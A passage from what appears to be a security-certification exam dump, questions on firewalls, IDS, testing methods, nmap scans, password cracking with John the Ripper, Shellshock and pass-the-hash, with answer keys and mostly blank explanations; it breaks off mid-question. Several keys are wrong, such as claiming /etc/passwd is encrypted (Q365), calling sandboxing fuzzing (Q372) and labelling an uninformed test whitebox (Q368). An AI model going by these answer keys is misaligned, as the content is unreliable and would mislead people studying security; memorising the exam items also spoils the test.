Reviewing the need for a security clearance for each employee

D.
Using configuration management to determine when and where to apply security patches

Answer: A

Explanation:
For a network scan the goal is to document the exposed attack surface along with any easily detected vulnerabilities.

References: http://meisecurity.com/home/consulting/consulting-network-scanning/

QUESTION NO: 331

The security concept of "separation of duties" is most similar to the operation of which type of security device?

A.
Firewall

B.
Bastion host

C.
Intrusion Detection System

D.
Honeypot

Answer: A

Explanation:
In most enterprises the engineer making a firewall change is also the one reviewing the firewall metrics for unauthorized changes. What if the firewall administrator wanted to hide something? How would anyone ever find out? This is where the separation of duties comes in to focus on the responsibilities of tasks within security.

References: http://searchsecurity.techtarget.com/tip/Modern-security-management-strategy-requires-security-separation-of-duties

QUESTION NO: 332

The "black box testing" methodology enforces which kind of restriction?

A.
Only the external operation of a system is accessible to the tester.

B.
Only the internal operation of a system is known to the tester.

C.
The internal operation of a system is only partly accessible to the tester.

D.
The internal operation of a system is completely known to the tester.

Answer: A

Explanation:
Black-box testing is a method of software testing that examines the functionality of an application without peering into its internal structures or workings.

References: https://en.wikipedia.org/wiki/Black-box_testing

QUESTION NO: 333

The "gray box testing" methodology enforces what kind of restriction?

A.
The internal operation of a system is only partly accessible to the tester.

B.
The internal operation of a system is completely known to the tester.

C.
Only the external operation of a system is accessible to the tester.

D.
Only the internal operation of a system is known to the tester.

Answer: A

Explanation:
A black-box tester is unaware of the internal structure of the application to be tested, while a white-box tester has access to the internal structure of the application. A gray-box tester partially knows the internal structure, which includes access to the documentation of internal data structures as well as the algorithms used.

References: https://en.wikipedia.org/wiki/Gray_box_testing

QUESTION NO: 334

The "white box testing" methodology enforces what kind of restriction?

A.
The internal operation of a system is completely known to the tester.

B.
Only the external operation of a system is accessible to the tester.

C.
Only the internal operation of a system is known to the tester.

D.
The internal operation of a system is only partly accessible to the tester.

Answer: A

Explanation:
White-box testing (also known as clear box testing, glass box testing, transparent box testing, and structural testing) is a method of testing software that tests internal structures or workings of an application, as opposed to its functionality (i.e. black-box testing). In white-box testing an internal perspective of the system, as well as programming skills, are used to design test cases.

References: https://en.wikipedia.org/wiki/White-box_testing

QUESTION NO: 335

To determine if a software program properly handles a wide range of invalid input, a form of automated testing can be used to randomly generate invalid input in an attempt to crash the program.

What term is commonly used when referring to this type of testing?

A.
Fuzzing

B.
Randomizing

C.
Mutating

D.
Bounding

Answer: A

Explanation:
Fuzz testing or fuzzing is a software testing technique, often automated or semi-automated, that involves providing invalid, unexpected, or random data to the inputs of a computer program. The program is then monitored for exceptions such as crashes, or failing built-in code assertions or for finding potential memory leaks. Fuzzing is commonly used to test for security problems in software or computer systems. It is a form of random testing which has been used for testing hardware or software.

References: https://en.wikipedia.org/wiki/Fuzz_testing

QUESTION NO: 336

To maintain compliance with regulatory requirements, a security audit of the systems on a network must be performed to determine their compliance with security policies. Which one of the following tools would most likely be used in such an audit?

A.
Vulnerability scanner

B.
Protocol analyzer

C.
Port scanner

D.
Intrusion Detection System

Answer: A

Explanation:
A vulnerability scanner is a computer program designed to assess computers, computer systems, networks or applications for weaknesses.

They can be run either as part of vulnerability management by those tasked with protecting systems - or by black hat attackers looking to gain unauthorized access.

References: https://en.wikipedia.org/wiki/Vulnerability_scanner

QUESTION NO: 337

Which of these options is the most secure procedure for storing backup tapes?

A.
In a climate controlled facility offsite

B.
On a different floor in the same building

C.
Inside the data center for faster retrieval in a fireproof safe

D.
In a cool dry environment

Answer: A

Explanation:
An effective disaster data recovery strategy should consist of producing backup tapes and housing them in an offsite storage facility. This way the data isn't compromised if a natural disaster affects the business' office. It is highly recommended that the backup tapes be handled properly and stored in a secure, climate controlled facility. This provides peace of mind, and gives the business almost immediate stability after a disaster.

References: http://www.entrustrm.com/blog/1132/why-is-offsite-tape-storage-the-best-disaster-recovery-strategy

QUESTION NO: 338

What term describes the amount of risk that remains after the vulnerabilities are classified and the countermeasures have been deployed?

A.
Residual risk

B.
Inherent risk

C.
Deferred risk

D.
Impact risk

Answer: A

Explanation:
The residual risk is the risk or danger of an action or an event, a method or a (technical) process that, although being abreast with science, still conceives these dangers, even if all theoretically possible safety measures would be applied (scientifically conceivable measures); in other words, the amount of risk left over after natural or inherent risks have been reduced by risk controls.

References: https://en.wikipedia.org/wiki/Residual_risk

QUESTION NO: 339

Risks = Threats x Vulnerabilities is referred to as the:

A.
Risk equation

B.
Threat assessment

C.
BIA equation

D.
Disaster recovery formula

Answer: A

Explanation:
The most effective way to define risk is with this simple equation:

Risk = Threat x Vulnerability x Cost

This equation is fundamental to all information security.

References: http://www.icharter.org/articles/risk_equation.html

QUESTION NO: 340

Which of the following is designed to identify malicious attempts to penetrate systems?

A.
Intrusion Detection System

B.
Firewall

C.
Proxy

D.
Router

Answer: A

Explanation:
An intrusion detection system (IDS) is a device or software application that monitors network or

system activities for malicious activities or policy violations and produces electronic reports to a management station.

References: https://en.wikipedia.org/wiki/Intrusion_detection_system

QUESTION NO: 341

Which of the following is a low-tech way of gaining unauthorized access to systems?

A.
Social Engineering

B.
Sniffing

C.
Eavesdropping

D.
Scanning

Answer: A

Explanation:
Social engineering, in the context of information security, refers to psychological manipulation of people into performing actions or divulging confidential information. A type of confidence trick for the purpose of information gathering, fraud, or system access.

References: https://en.wikipedia.org/wiki/Social_engineering_(security)

QUESTION NO: 342

PGP, SSL, and IKE are all examples of which type of cryptography?

A.
Public Key

B.
Secret Key

C.
Hash Algorithm

D.
Digest

Answer: A

Explanation:
Public-key algorithms are fundamental security ingredients in cryptosystems, applications and protocols. They underpin various Internet standards, such as Secure Sockets Layer (SSL),Transport Layer Security (TLS), S/MIME, PGP, Internet Key Exchange (IKE or IKEv2), and GPG.

References: https://en.wikipedia.org/wiki/Public-key_cryptography

QUESTION NO: 343

Which method of password cracking takes the most time and effort?

A.
Brute force

B.
Rainbow tables

C.
Dictionary attack

D.
Shoulder surfing

Answer: A

Explanation:
Brute-force cracking, in which a computer tries every possible key or password until it succeeds, is typically very time consuming. More common methods of password cracking, such as dictionary attacks, pattern checking, word list substitution, etc. attempt to reduce the number of trials required and will usually be attempted before brute force.

References: https://en.wikipedia.org/wiki/Password_cracking

QUESTION NO: 344

What is the most common method to exploit the “Bash Bug” or “ShellShock" vulnerability?

A.
Through Web servers utilizing CGI (Common Gateway Interface) to send a malformed environment variable to a vulnerable Web server

B.
Manipulate format strings in text fields

C.
SSH

D.
SYN Flood

Answer: A

Explanation:
Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell.

One specific exploitation vector of the Shellshock bug is CGI-based web servers.

Note: When a web server uses the Common Gateway Interface (CGI) to handle a document request, it passes various details of the request to a handler program in the environment variable list. For example, the variable HTTP_USER_AGENT has a value that, in normal usage, identifies the program sending the request. If the request handler is a Bash script, or if it executes one for example using the system call, Bash will receive the environment variables passed by the server and will process them. This provides a means for an attacker to trigger the Shellshock vulnerability with a specially crafted server request.

References:
https://en.wikipedia.org/wiki/Shellshock_(software_bug)#Specific_exploitation_vectors

QUESTION NO: 345

Which of the following tools performs comprehensive tests against web servers, including dangerous files and CGIs?

A.
Nikto

B.
Snort

C.
John the Ripper

D.
Dsniff

Answer: A

Explanation:
Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/CGIs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.

References: https://en.wikipedia.org/wiki/Nikto_Web_Scanner

QUESTION NO: 346

Which of the following tools is used to analyze the files produced by several packet-capture programs such as tcpdump, WinDump, Wireshark, and EtherPeek?

A.
tcptrace

B.
tcptraceroute

C.
Nessus

D.
OpenVAS

Answer: A

Explanation:
tcptrace is a tool for analysis of TCP dump files. It can take as input the files produced by several popular packet-capture programs, including tcpdump/WinDump/Wireshark, snoop, EtherPeek, and Agilent NetMetrix.

References: https://en.wikipedia.org/wiki/Tcptrace

QUESTION NO: 347

Which of the following tools is used to detect wireless LANs using the 802.11a/b/g/n WLAN standards on a linux platform?

A.
Kismet

B.
Nessus

C.
Netstumbler

D.
Abel

Answer: A

Explanation:
Kismet is a network detector, packet sniffer, and intrusion detection system for 802.11 wireless LANs. Kismet will work with any wireless card which supports raw monitoring mode, and can sniff 802.11a, 802.11b, 802.11g, and 802.11n traffic. The program runs under Linux, FreeBSD, NetBSD, OpenBSD, and Mac OS X.

References: https://en.wikipedia.org/wiki/Kismet_(software)

QUESTION NO: 348

Session splicing is an IDS evasion technique in which an attacker delivers data in multiple, smallsized packets to the target computer, making it very difficult for an IDS to detect the attack signatures.

Which tool can be used to perform session splicing attacks?

A.
Whisker

B.
tcpsplice

C.
Burp

D.
Hydra

Answer: A

Explanation:
One basic technique is to split the attack payload into multiple small packets, so that the IDS must reassemble the packet stream to detect the attack. A simple way of splitting packets is by fragmenting them, but an adversary can also simply craft packets with small payloads. The 'whisker' evasion tool calls crafting packets with small payloads 'session splicing'.

References:
https://en.wikipedia.org/wiki/Intrusion_detection_system_evasion_techniques#Fragmentation_and_small_packets

QUESTION NO: 349

Which of the following tools can be used for passive OS fingerprinting?

A.
tcpdump

B.
nmap

C.
ping

D.
tracert

Answer: A

Explanation:
The passive operating system fingerprinting is a feature built into both the pf and tcpdump tools.

References: http://geek00l.blogspot.se/2007/04/tcpdump-privilege-dropping-passive-os.html

QUESTION NO: 350

You are the Systems Administrator for a large corporate organization. You need to monitor all network traffic on your local network for suspicious activities and receive notifications when an attack is occurring. Which tool would allow you to accomplish this goal?

A.
Network-based IDS

B.
Firewall

C.
Proxy

D.
Host-based IDS

Answer: A

Explanation:
A network-based intrusion detection system (NIDS) is used to monitor and analyze network traffic to protect a system from network-based threats.

A NIDS reads all inbound packets and searches for any suspicious patterns. When threats are discovered, based on its severity, the system can take action such as notifying administrators, or barring the source IP address from accessing the network.

References: https://www.techopedia.com/definition/12941/network-based-intrusion-detection-system-nids

QUESTION NO: 351

What does a firewall check to prevent particular ports and applications from getting packets into an organization?

A.
Transport layer port numbers and application layer headers

B.
Presentation layer headers and the session layer port numbers

C.
Network layer headers and the session layer port numbers

D.
Application layer port numbers and the transport layer headers

Answer: A

Explanation:
Newer firewalls can filter traffic based on many packet attributes like source IP address, source port, destination IP address or transport layer port, destination service like WWW or FTP. They can filter based on protocols, TTL values, netblock of originator, of the source, and many other attributes.

Application layer firewalls are responsible for filtering at 3, 4, 5, 7 layer. Because they analyze the application layer headers, most firewall control and filtering is performed actually in the software.

References: https://en.wikipedia.org/wiki/Firewall_(computing)#Network_layer_or_packet_filters

http://howdoesinternetwork.com/2012/application-layer-firewalls

QUESTION NO: 352

You work as a Security Analyst for a retail organization. In securing the company's network, you set up a firewall and an IDS. However, hackers are able to attack the network. After investigating, you discover that your IDS is not configured properly and therefore is unable to trigger alarms when needed. What type of alert is the IDS giving?

A.
False Negative

B.
False Positive

C.
True Negative

D.
True Positive

Answer: A

Explanation:
A false negative error, or in short false negative, is where a test result indicates that a condition failed, while it actually was successful. I.e. erroneously no effect has been assumed.

References:
https://en.wikipedia.org/wiki/False_positives_and_false_negatives#False_negative_error

QUESTION NO: 353

Which of the following types of firewalls ensures that the packets are part of the established session?

A.
Stateful inspection firewall

B.
Circuit-level firewall

C.
Application-level firewall

D.
Switch-level firewall

Answer: A

Explanation:
A stateful firewall is a network firewall that tracks the operating state and characteristics of network connections traversing it. The firewall is configured to distinguish legitimate packets for different types of connections. Only packets matching a known active connection (session) are allowed to pass the firewall.

References: https://en.wikipedia.org/wiki/Stateful_firewall

QUESTION NO: 354

Which of the following incident handling process phases is responsible for defining rules, collaborating human workforce, creating a back-up plan, and testing the plans for an organization?

A.
Preparation phase

B.
Containment phase

C.
Identification phase

D.
Recovery phase

Answer: A

Explanation:
There are several key elements to have implemented in preparation phase in order to help mitigate any potential problems that may hinder one’s ability to handle an incident. For the sake of brevity, the following should be performed:

References: https://www.sans.org/reading-room/whitepapers/incident/incident-handlers-handbook-33901

QUESTION NO: 355

Ricardo wants to send secret messages to a competitor company. To secure these messages, he uses a technique of hiding a secret message within an ordinary message. The technique provides 'security through obscurity'.

What technique is Ricardo using?

A.
Steganography

B.
Public-key cryptography

C.
RSA algorithm

D.
Encryption

Answer: A

Explanation:
Steganography is the practice of concealing a file, message, image, or video within another file, message, image, or video.

References: https://en.wikipedia.org/wiki/Steganography

QUESTION NO: 356

During a security audit of IT processes, an IS auditor found that there were no documented security procedures. What should the IS auditor do?

A.
Identify and evaluate existing practices

B.
Create a procedures document

C.
Conduct compliance testing

D.
Terminate the audit

Answer: A

Explanation:
The auditor should first evaluated existing policies and practices to identify problem areas and opportunities.

QUESTION NO: 357

Which of the following statements regarding ethical hacking is incorrect?

A.
Ethical hackers should never use tools or methods that have the potential of exploiting vulnerabilities in an organization's systems.

B.
Testing should be remotely performed offsite.

C.
An organization should use ethical hackers who do not sell vendor hardware/software or other consulting services.

D.
Ethical hacking should not involve writing to or modifying the target systems.

Answer: A

Explanation:
Ethical hackers use the same methods and techniques, including those that have the potential of exploiting vulnerabilities, to test and bypass a system's defenses as their less-principled counterparts, but rather than taking advantage of any vulnerabilities found, they document them and provide actionable advice on how to fix them so the organization can improve its overall security.

References: http://searchsecurity.techtarget.com/definition/ethical-hacker

QUESTION NO: 358

Craig received a report of all the computers on the network that showed all the missing patches and weak passwords. What type of software generated this report?

A.
a port scanner

B.
a vulnerability scanner

C.
a virus scanner

D.
a malware scanner

Answer: B
Explanation:

QUESTION NO: 359

What two conditions must a digital signature meet?

A.
Has to be unforgeable, and has to be authentic.

B.
Has to be legible and neat.

C.

Must be unique and have special characters.

D.
Has to be the same number of characters as a physical signature and must be unique.

Answer: A
Explanation:

QUESTION NO: 360

An attacker is trying to redirect the traffic of a small office. That office is using their own mail server, DNS server and NTP server because of the importance of their job. The attacker gains access to the DNS server and redirects the direction www.google.com to his own IP address. Now when the employees of the office want to go to Google they are being redirected to the attacker machine. What is the name of this kind of attack?

A.
ARP Poisoning

B.
Smurf Attack

C.
DNS spoofing

D.
MAC Flooding

Answer: C
Explanation:

QUESTION NO: 361

If executives are found liable for not properly protecting their company's assets and information systems, what type of law would apply in this situation?

A.
Civil

B.
International

C.
Criminal

D.
Common

Answer: A
Explanation:

QUESTION NO: 362

What is the role of test automation in security testing?

A.
It can accelerate benchmark tests and repeat them with a consistent test setup. But it cannot replace manual testing completely.

B.
It is an option but it tends to be very expensive.

C.
It should be used exclusively. Manual testing is outdated because of low speed and possible test setup inconsistencies.

D.
Test automation is not usable in security due to the complexity of the tests.

Answer: A
Explanation:

QUESTION NO: 363

The company ABC recently discovered that their new product was released by the opposition before their premiere. They contract an investigator who discovered that the maid threw away papers with confidential information about the new product and the opposition found it in the garbage. What is the name of the technique used by the opposition?

A.
Hack attack

B.

Sniffing

C.
Dumpster diving

D.
Spying

Answer: C

Explanation:

QUESTION NO: 364

The company ABC recently contracted a new accountant. The accountant will be working with the financial statements. Those financial statements need to be approved by the CFO and then they will be sent to the accountant but the CFO is worried because he wants to be sure that the information sent to the accountant was not modified once he approved it. What of the following options can be useful to ensure the integrity of the data?

A.
The document can be sent to the accountant using an exclusive USB for that document.

B.
The CFO can use a hash algorithm in the document once he approved the financial statements.

C.
The financial statements can be sent twice, one by email and the other delivered in USB and the accountant can compare both to be sure it is the same document.

D.
The CFO can use an excel file with a password.

Answer: B

Explanation:

QUESTION NO: 365

A hacker has managed to gain access to a Linux host and stolen the password file from /etc/passwd. How can he use it?

A.

The password file does not contain the passwords themselves.

B.
He can open it and read the user ids and corresponding passwords.

C.
The file reveals the passwords to the root user only.

D.
He cannot read it because it is encrypted.

Answer: D
Explanation:

QUESTION NO: 366

Eve stole a file named secret.txt, transferred it to her computer and she just entered these commands:

[eve@localhost ~]$ john secret.txt

Loaded 2 password hashes with no different salts (LM [DES 128/128 SSE2-16])

Press 'q' or Ctrl-C to abort. almost any other key for status

0g 0:00:00:03 3/3 0g/s 86168p/s 86168c/s 172336C/s MERO..SAMPLUI

0g 0:00:00:04 3/3 0g/s 3296Kp/s 3296Kc/s 6592KC/s GOS..KARIS4

0g 0:00:00:07 3/3 0g/s 8154Kp/s 8154Kc/s 16309KC/s NY180K..NY1837

0g 0:00:00:10 3/3 0g/s 7958Kp/s 7958Kc/s 1591KC/s SHAGRN..SHENY9

What is she trying to achieve?

A.
She is encrypting the file.

B.
She is using John the Ripper to view the contents of the file.

C.
She is using ftp to transfer the file to another hacker named John.

D.
She is using John the Ripper to crack the passwords in the secret.txt file.

Answer: D

Explanation:

QUESTION NO: 367

What is the way to decide how a packet will move from an untrusted outside host to a protected inside that is behind a firewall, which permits the hacker to determine which ports are open and if the packets can pass through the packet-filtering of the firewall.

A.
Firewalking

B.
Session hijacking

C.
Network sniffing

D.
Man-in-the-middle attack

Answer: A

Explanation:

QUESTION NO: 368

Seth is starting a penetration test from inside the network. He hasn't been given any information about the network. What type of test is he conducting?

A.
Internal Whitebox

B.
External, Whitebox

C.
Internal, Blackbox

D.
External, Blackbox

Answer: A

Explanation:

QUESTION NO: 369

Which tier in the N-tier application architecture is responsible for moving and processing data between the tiers?

A.
Application Layer

B.
Data tier

C.
Presentation tier

D.
Logic tier

Answer: D

Explanation:

QUESTION NO: 370

An attacker tries to do banner grabbing on a remote web server and executes the following command.

$ nmap -sV host.domain.com -p 80

He gets the following output.

Starting Nmap 6.47 (http://nmap.org) at 2014-12-08 19:10 EST

Nmap scan report for host.domain.com (108.61.158.211)

Host is up (0.032s latency).

PORTSTATESERVICEVERSION

80/tcpopenhttp Apache httpd

Service detection performed. Please report any incorrect results at http://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 6.42 seconds

What did the hacker accomplish?

A.
nmap can't retrieve the version number of any running remote service.

B.
The hacker successfully completed the banner grabbing.

C.
The hacker should've used nmap -O host.domain.com.

D.
The hacker failed to do banner grabbing as he didn't get the version of the Apache web server.

Answer: B
Explanation:

QUESTION NO: 371

_____ is a set of extensions to DNS that provide to DNS clients (resolvers) origin authentication of DNS data to reduce the threat of DNS poisoning, spoofing, and similar attacks types.

A.
DNSSEC

B.
Zone transfer

C.
Resource transfer

D.
Resource records

Answer: A
Explanation:

QUESTION NO: 372

Sid is a judge for a programming contest. Before the code reaches him it goes through a restricted OS and is tested there. If it passes, then it moves onto Sid. What is this middle step called?

A.
Fuzzy-testing the code

B.
Third party running the code

C.
Sandboxing the code

D.
String validating the code

Answer: A

Explanation:

QUESTION NO: 373

An IT employee got a call from one of our best customers. The caller wanted to know about the company's network infrastructure, systems, and team. New opportunities of integration are in sight for both company and customer. What should this employee do?

A.
Since the company's policy is all about Customer Service, he/she will provide information.

B.
Disregarding the call, the employee should hang up.

C.
The employee should not provide any information without previous management authorization.

D.
The employees can not provide any information; but, anyway, he/she will provide the name of the person in charge.

Answer: C

Explanation:

QUESTION NO: 374

A well-intentioned researcher discovers a vulnerability on the web site of a major corporation. What should he do?

A.
Ignore it.

B.
Try to sell the information to a well-paying party on the dark web.

C.
Notify the web site owner so that corrective action be taken as soon as possible to patch the vulnerability.

D.
Exploit the vulnerability without harming the web site owner so that attention be drawn to the problem.

Answer: C

Explanation:

QUESTION NO: 375

In both pharming and phishing attacks an attacker can create websites that look similar to legitimate sites with the intent of collecting personal identifiable information from its victims. What is the difference between pharming and phishing attacks?

A.
In a pharming attack a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DNS. In a phishing attack an attacker provides the victim with a URL that is either misspelled or looks similar to the actual websites domain name.

B.
Both pharming and phishing attacks are purely technical and are not considered forms of social engineering.

C.
Both pharming and phishing attacks are identical.

D.
In a phishing attack a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DNS. In a pharming attack an attacker provides the victim with a URL that is either misspelled or looks very similar to the actual websites domain name.

Answer: A

Explanation:

QUESTION NO: 376

Cryptography is the practice and study of techniques for secure communication in the presence of third parties (called adversaries.) More generally, it is about constructing and analyzing protocols that overcome the influence of adversaries and that are related to various aspects in information security such as data confidentiality, data integrity, authentication, and non-repudiation. Modern cryptography intersects the disciplines of mathematics, computer science, and electrical engineering. Applications of cryptography include ATM cards, computer passwords, and electronic commerce.

Basic example to understand how cryptography works is given below:

SECURE (plain text)

+1(+1 next letter, for example, the letter ““T”” is used for ““S”” to encrypt.)

TFDVSF (encrypted text)

+=logic=> Algorithm

1=Factor=> Key

Which of the following choices is true about cryptography?

A.
Algorithm is not the secret, key is the secret.

B.
Symmetric-key algorithms are a class of algorithms for cryptography that use the different cryptographic keys for both encryption of plaintext and decryption of ciphertext.

C.
Secure Sockets Layer (SSL) use the asymmetric encryption both (public/private key pair) to deliver the shared session key and to achieve a communication way.

D.
Public-key cryptography, also known as asymmetric cryptography, public key is for decrypt, private key is for encrypt.

Answer: C

Explanation:

QUESTION NO: 377

Which of these is capable of searching for and locating rogue access points?

A.
HIDS

B.
WISS

C.
WIPS

D.
NIDS

Answer: C

Explanation:

QUESTION NO: 378

Which of the following is considered an exploit framework and has the ability to perform automated attacks on services, ports, applications and unpatched security flaws in a computer system?

A.
Wireshark

B.
Maltego

C.
Metasploit

D.
Nessus

Answer: C

Explanation:

QUESTION NO: 379

Sophia travels a lot and worries that her laptop containing confidential documents might be stolen. What is the best protection that will work for her?

A.
Password protected files

B.
Hidden folders

C.
BIOS password

D.
Full disk encryption.

Answer: D
Explanation:

QUESTION NO: 380

The network in ABC company is using the network address 192.168.1.64 with mask 255.255.255.192. In the network the servers are in the addresses 192.168.1.122, 192.168.1.123 and 192.168.1.124.

An attacker is trying to find those servers but he cannot see them in his scanning. The command he is using is:

nmap 192.168.1.64/28.

Why he cannot see the servers?

A.
The network must be down and the nmap command and IP address are ok.

B.
He needs to add the command ""ip address"" just before the IP address.

C.
He is scanning from 192.168.1.64 to 192.168.1.78 because of the mask /28 and the servers are

not in that range.

D.
He needs to change the address to 192.168.1.0 with the same mask.

Answer: C
Explanation:

QUESTION NO: 381

Bob learned that his username and password for a popular game has been compromised. He contacts the company and resets all the information. The company suggests he use two-factor authentication, which option below offers that?

A.
A new username and password

B.
A fingerprint scanner and his username and password.

C.
Disable his username and use just a fingerprint scanner.

D.
His username and a stronger password.

Answer: B
Explanation:

QUESTION NO: 382

Rebecca commonly sees an error on her Windows system that states that a Data Execution Prevention (DEP) error has taken place. Which of the following is most likely taking place?

A.
A race condition is being exploited, and the operating system is containing the malicious process.

B.
A page fault is occurring, which forces the operating system to write data from the hard drive.

C.

Malware is executing in either ROM or a cache memory area.

D.
Malicious code is attempting to execute instruction in a non-executable memory region.

Answer: D
Explanation:

QUESTION NO: 383

Attempting an injection attack on a web server based on responses to True/False questions is called which of the following?

A.
Blind SQLi

B.
DMS-specific SQLi

C.
Classic SQLi

D.
Compound SQLi

Answer: A
Explanation:

QUESTION NO: 384

In order to have an anonymous Internet surf, which of the following is best choice?

A.
Use SSL sites when entering personal information

B.
Use Tor network with multi-node

C.
Use shared WiFi

D.
Use public VPN

Answer: B
Explanation:

QUESTION NO: 385

A penetration test was done at a company. After the test, a report was written and given to the company's IT authorities. A section from the report is shown below:

Access List should be written between VLANs.

Port security should be enabled for the intranet.

A security solution which filters data packets should be set between intranet (LAN) and DMZ.

A WAF should be used in front of the web applications.

According to the section from the report, which of the following choice is true?

A.
MAC Spoof attacks cannot be performed.

B.
Possibility of SQL Injection attack is eliminated.

C.
A stateful firewall can be used between intranet (LAN) and DMZ.

D.
There is access control policy between VLANs.

Answer: C
Explanation:

QUESTION NO: 386

Websites and web portals that provide web services commonly use the Simple Object Access Protocol SOAP. Which of the following is an incorrect definition or characteristics in the protocol?

A.
Based on XML

B.
Provides a structured model for messaging

C.
Exchanges data between web services

D.
Only compatible with the application protocol HTTP

Answer: D
Explanation:

QUESTION NO: 387

An attacker with access to the inside network of a small company launches a successful STP manipulation attack. What will he do next?

A.
He will create a SPAN entry on the spoofed root bridge and redirect traffic to his computer.

B.
He will activate OSPF on the spoofed root bridge.

C.
He will repeat the same attack against all L2 switches of the network.

D.
He will repeat this action so that it escalates to a DoS attack.

Answer: A
Explanation:

QUESTION NO: 388

A large mobile telephony and data network operator has a data that houses network elements. These are essentially large computers running on Linux. The perimeter of the data center is secured with firewalls and IPS systems. What is the best security policy concerning this setup?

A.
Network elements must be hardened with user ids and strong passwords. Regular security tests and audits should be performed.

B.
As long as the physical access to the network elements is restricted, there is no need for additional measures.

C.
There is no need for specific security measures on the network elements as long as firewalls and IPS systems exist.

D.
The operator knows that attacks and down time are inevitable and should have a backup site.

Answer: A
Explanation:

QUESTION NO: 389

When purchasing a biometric system, one of the considerations that should be reviewed is the processing speed. Which of the following best describes what it is meant by processing?

A.
The amount of time it takes to convert biometric data into a template on a smart card.

B.
The amount of time and resources that are necessary to maintain a biometric system.

C.
The amount of time it takes to be either accepted or rejected form when an individual provides Identification and authentication information.

D.
How long it takes to setup individual user accounts.

Answer: C
Explanation:

QUESTION NO: 390

Due to a slow down of normal network operations, IT department decided to monitor internet traffic

for all of the employees. From a legal stand point, what would be troublesome to take this kind of measure?

A.
All of the employees would stop normal work activities

B.
IT department would be telling employees who the boss is

C.
Not informing the employees that they are going to be monitored could be an invasion of privacy.

D.
The network could still experience traffic slow down.

Answer: C

Explanation:

QUESTION NO: 391

In many states sending spam is illegal. Thus, the spammers have techniques to try and ensure that no one knows they sent the spam out to thousands of users at a time. Which of the following best describes what spammers use to hide the origin of these types of e-mails?

A.
A blacklist of companies that have their mail server relays configured to allow traffic only to their specific domain name.

B.
Mail relaying, which is a technique of bouncing e-mail from internal to external mails servers continuously.

C.
A blacklist of companies that have their mail server relays configured to be wide open.

D.
Tools that will reconfigure a mail server's relay component to send the e-mail back to the spammers occasionally.

Answer: B

Explanation:

QUESTION NO: 392

You are an Ethical Hacker who is auditing the ABC company. When you verify the NOC one of the machines has 2 connections, one wired and the other wireless. When you verify the configuration of this Windows system you find two static routes.

route add 10.0.0.0 mask 255.0.0.0 10.0.0.1

route add 0.0.0.0 mask 255.0.0.0 199.168.0.1

What is the main purpose of those static routes?

A.
Both static routes indicate that the traffic is external with different gateway.

B.
The first static route indicates that the internal traffic will use an external gateway and the second static route indicates that the traffic will be rerouted.

C.
Both static routes indicate that the traffic is internal with different gateway.

D.
The first static route indicates that the internal addresses are using the internal gateway and the second static route indicates that all the traffic that is not internal must go to an external gateway.

Answer: D

Explanation:

QUESTION NO: 393

What is the correct process for the TCP three-way handshake connection establishment and connection termination?

A.
Connection Establishment: FIN, ACK-FIN, ACK

Connection Termination: SYN, SYN-ACK, ACK

B.
Connection Establishment: SYN, SYN-ACK, ACK

Connection Termination: ACK, ACK-SYN, SYN

C.
Connection Establishment: ACK, ACK-SYN, SYN

Connection Termination: FIN, ACK-FIN, ACK

D.
Connection Establishment: SYN, SYN-ACK, ACK

Connection Termination: FIN, ACK-FIN, ACK

Answer: D
Explanation:

QUESTION NO: 394

Emil uses nmap to scan two hosts using this command.

nmap -sS -T4 -O 192.168.99.1 192.168.99.7

He receives this output:

Nmap scan report for 192.168.99.1

Host is up (0.00082s latency).

Not shown: 994 filtered ports

PORT STATE SERVICE

21/tcp open ftp

23/tcp open telnet

53/tcp open domain

80/tcp open http

161/tcp closed snmp

MAC Address: B0:75:D5:33:57:74 (ZTE)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop

Nmap scan report for 192.168.99.7

Host is up (0.000047s latency).

All 1000 scanned ports on 192.168.99.7 are closed

Too many fingerprints match this host to give specific OS details

Network Distance: 0 hops

What is his conclusion?

A.
Host 192.168.99.7 is an iPad.

B.
He performed a SYN scan and OS scan on hosts 192.168.99.1 and 192.168.99.7.

C.
Host 192.168.99.1 is the host that he launched the scan from.

D.
Host 192.168.99.7 is down.

Answer: B
Explanation:

QUESTION NO: 395

You're doing an internal security audit and you want to find out what ports are open on all the servers. What is the best way to find out?

A.
Scan servers with Nmap

B.
Physically go to each server

C.
Scan servers with MBSA

D.
Telent to every port on each server

Answer: A
Explanation:

QUESTION NO: 396

Jimmy is standing outside a secure entrance to a facility. He is pretending to have a tense conversation on his cell phone as an authorized employee badges in. Jimmy, while still on the phone, grabs the door as it begins to close.

What just happened?

A.
Phishing

B.
Whaling

C.
Tailgating

D.
Masquerading

Answer: C
Explanation:

QUESTION NO: 397

Which protocol is used for setting up secured channels between two devices, typically in VPNs?

A.
IPSEC

B.
PEM

C.

SET

D.
PPP

Answer: A
Explanation:

QUESTION NO: 398

In cryptanalysis and computer security, 'pass the hash' is a hacking technique that allows an attacker to authenticate to a remote server/service by using the underlying NTLM and/or LanMan hash of a user's password, instead of requiring the associated plaintext password as is normally the case.

Metasploit Framework has a module for this technique: psexec. The psexec module is often used by penetration testers to obtain access to a given system that you already know the credentials for. It was written by sysinternals and has been integrated within the framework. Often as penetration testers, successfully gain access to a system through some exploit, use meterpreter to grab the passwords or other methods like fgdump, pwdump, or cachedump and then utilize rainbowtables to crack those hash values.

Which of the following is true hash type and sort order that is using in the psexec module's 'smbpass'?

A.
NT:LM

B.
LM:NT

C.
LM:NTLM

D.
NTLM:LM

Answer: B
Explanation:

QUESTION NO: 399

Which of the following Nmap commands will produce the following output?

Output:

Starting Nmap 6.47 (http://nmap.org) at 2015-05-26 12:50 EDT

Nmap scan report for 192.168.1.1

Host is up (0.00042s latency).

Not shown: 65530 open|filtered ports, 65529 filtered ports

PORT STATE SERVICE

111/tcp open rpcbind

999/tcp open garcon

1017/tcp open unknown

1021/tcp open exp1

1023/tcp open netvenuechat

2049/tcp open nfs

17501/tcp open unknown

111/udp open rpcbind

123/udp open ntp

137/udp open netbios-ns

2049/udp open nfs

5353/udp open zeroconf

17501/udp open|filtered unknown

